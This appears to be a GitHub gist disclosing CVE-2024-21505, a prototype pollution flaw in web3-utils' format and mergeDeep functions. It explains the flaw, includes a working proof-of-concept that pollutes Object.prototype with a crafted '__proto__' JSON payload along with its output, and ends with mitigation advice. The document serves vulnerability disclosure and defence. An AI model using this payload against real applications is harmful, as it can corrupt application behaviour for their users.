Skip to content

Instantly share code, notes, and snippets.

@tariqhawis
Last active July 30, 2024 16:10
Show Gist options
  • Save tariqhawis/2d5bb14ebeb42907f3097d7c88e069eb to your computer and use it in GitHub Desktop.
Save tariqhawis/2d5bb14ebeb42907f3097d7c88e069eb to your computer and use it in GitHub Desktop.
[CVE-2024-21505] Prototype Pollution Affecting web3-utils (4.1.1)

Overview
web3-utils is a sub-package of web3.js Web3.js whic is a TypeScript implementation of the Ethereum JSON RPC API and related tooling maintained by ChainSafe Systems. web3-utils contains useful utility functions for Dapp developers.

Attack Vector Affected versions of this package are vulnerable to Prototype Pollution via the utility functions format and mergeDeep, An attacker can manipulate the prototype of an object, potentially leading to the alteration of behavior of all objects inheriting from the affected prototype by passing specially crafted input to these functions.

Vulnerability Details
The vulnerable functions format and mergeDeep spotted in web3-utils/lib/commonjs/formatter.js and web3-utils/lib/commonjs/objects.js respectively when mergeDeep used to merge the vulnerable argument "data" with the empty object {}.
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: mergeDeep({},source).



**POC:**
const Web3Utils = require('web3-utils');

var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  Web3Utils.format({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;


console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  Web3Utils.mergeDeep({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;

output:

Before Attack:  {}
After Attack:  {"polluted":true}
Before Attack:  {}
After Attack:  {"polluted":true}


Mitigation
For Devlopers:

  1. Freeze the prototype— use Object.freeze (Object.prototype).
  2. Validate and sanitize inputs to prevent modifying __proto__.
  3. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment